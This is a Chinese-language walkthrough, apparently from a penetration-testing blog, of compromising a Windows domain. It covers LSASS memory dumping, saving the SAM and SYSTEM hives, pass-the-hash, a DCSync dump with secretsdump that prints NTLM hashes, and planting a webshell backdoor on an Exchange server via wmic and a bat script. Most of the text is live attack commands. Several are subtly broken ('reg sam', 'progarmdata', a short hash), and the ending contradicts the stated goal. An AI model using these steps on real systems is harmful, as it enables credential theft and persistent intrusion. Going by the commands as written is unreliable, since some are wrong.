已获授权
,前期通过打点获取到shell权限,进来发现是域账户权限且为本机管理员。本来认为一帆风顺,没想到在后渗透的过程中遇到了脱域机器与网络隔离,最终通过常规的思路获取到了域管权限。一、内网信息收集阶段
webshell进来之后,首先通过webshell的文件管理功能确认是否有杀毒软件,主要关注以下几个目录:
C:\progra~1
C:\progra~2
C:\programdata
C:\Windows\System32\drivers
%appdata%
# 确认当前权限
whoami /all
net user xxx
net user xxx /domain
这里发现当前账户为xxx\xxx,基本能看出来是一个域账户。
# 定位域控制器
继续信息搜集,确认以下域相关的信息
net config workstation
nltest /domain_trusts
ipconfig /all
ping -a
反解域名,获得dc的fqdn:获取到fqdn后,可以尝试以下gpp漏洞,这里经过测试失败了。经过一系列的信息搜集,基本发现,当前主机应该在域内,域控为172.16.1.98,域名为***r.****,入口机的用户为域用户。
执行net localgroup administrators
发现当前用户在管理员组里面,看起来还像是域管的账号,执行net group "domain admins" /domain
回显access denied,不知道是什么情况。
二、凭证获取
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
三、Hash传递
抓到的hash无法进行破解,需要进行pth,一般在没有杀软或有能力做免杀的情况下我们会选择直接在目标上使用mimikatz,Rubeus等工具进行pth,这里使用代理的方式回避了免杀的问题。
搞一个regeorg正向连接(具体操作方式不作详细描述),上传到目标。
四、使用本地Hash进行横向移动
机器A上的信息都浏览完之后,尝试获取A机器的本地管理员hash进行pth,登录其他域内的主机,看能不能运气好再次抓到域管的账号密码。
reg sam hklm\sam sam
reg sam hklm\system system
reg sam hklm\security security //该文件包括域缓存,也可以进行破解
本地mimikatz获取到本地管理员用户名hash
直接用这个*n*****这个本地用户pth,登录成功。
c:\progarmdata\procdump64.exe -accepteula -ma xxx > lsass.dmp
这里保存到c盘根目录下去了
五、收集所有的域信息
在刚才的机器B上,笔者发现net user /domain等命令可以正常执行了。并且笔者的运气非常好,这次精准命中域管。在进行下一步操作前,先了解以下这个域的基本情况,执行命令太过繁琐,直接远程导出域的ldap信息:
从windows2003中扣出一个并用dsquery.exe上传到目标机器
通过dsquery导出相关域信息。
下载all.txt到本地
拿到域信息,包含机器,组,人员,邮箱等重要信息。
六、获取域内所有用户Hash
有了域管hash后,可以使用dcsync,还原ntds等方式导出域hash。这里还是使用impacket工具包中的secretsdump.py进行操作。
[email protected]:~/Tools/impacket/examples# python secretsdump.py pwnable.com/[email protected] -just-dc
Impacket v0.9.19-dev - Copyright 2019 SecureAuth CorporationPassword:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7a4df117f282d3ebecb49b4b5a400a3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d1633931245c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0f6a08c7f25535789158e8a42d2502c:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:d252222b2078d1afb2045a16f3b0d3a:::
pwnable.com\victim-user1:1134:aad3b435b51404eeaad3b435b51404ee:010f638de4537bf78a45cca0fa44020d:::
pwnable.com\victim-use3:1157:aad3b435b51404eeaad3b435b51404ee:3f59bb59c9aa5fc5322074f7a1d6aae0:::
pwnable.com\victim-user2:1161:aad3b435b51404eeaad3b435b51404ee:46fe9267487e1120c571b1b556505163:::
pwnable.com\victim-user:1164:aad3b435b51404eeaad3b435b51404ee:7edb2c4cd674b87ffaeb90f6ee29c061:::
和之前边界机器A上抓到的hash进行比较发现确实不同,坐实了之前机器A脱域的猜想。
七、驻留后门
通过前期对外网资产的一些盘点,发现了exchange邮件服务器,并计划在该服务器上留后门。exchange作为内网渗透兵家必争之地,留下后门给我们后续的渗透提供了极大的便利。具体的利用后续会专门出相关的文章来介绍。
定位exchange服务器一般有以下几种方法:
通过响应头X-FESERVER字段,可以获取到内网机器的neibios name
通过触发ntlm认证的地方,base64解码机器返回的字段,可以获取到域内机器的fqdn
在域内查看组exchange servers
在外网简单获取exchange的机器名,如下:
接着就是ping一下这台机器,找到内网里的ip,解析结果为172.16.1.115。直接在边界机器A与机器B上访问exchange无法ping通,推测是有隔离。
一般这种情况笔者都喜欢尝试通过域控的网络到达目标机器,域控和域内机器一般不会隔离的非常严格。下图进行了简单描述:
rdp连接机器B,之后通过命令行net use连上DC,再通过DC创建IPC$来往exchange服务器上放文件。
在机器B上执行:
net use \\dc /user:xxx "xxx"
move webshell.aspx \\dc\c$\webshell.aspx
这样就把webshell暂时放到了dc上,想办法将dc上的webshell放到exchange上。这里我们选择直接使用wmic远程执行命令的方式:
wmic /node:dc /user:xxx /password:xxx process call create "cmd /c move c:\webshell.aspx\\exchange\"
但是发现并没有成功,通过2>&1 输入报错输出发现没有写入权限。
请教了一下大牛,大牛说wmic存在凭据传递失效的问题。看起来是域管在执行命令,但在目标机器上访问远程机器时,权限并不是域管。也就是说这里move之前还需要用域管进行一次net use。
这样就好办了,写一个bat脚本,放到dc上,之后通过运行这个bat脚本来往exchange服务器上丢backdoor。这样net use 和move就处于同一个上下文,就可以向远程机器传递凭据了
bat的内容大概是:
net use \\exchange /user:dm "XXX"
dir \\exchange\c$\inetpub\wwwroot\
move c:\webshell.aspx \\exchange\c$\inetpub\wwwroot\1.aspx
通过wmic执行这个bat:
wmic /node:dc /user:xxx /password:xxx process call create "cmd /c c:\programdata\1.bat > c:\programdata\1.txt 2>&1"
可以看到成功将文件拷贝到了dc上
扫码加群,超过人数后后台回复“私聊”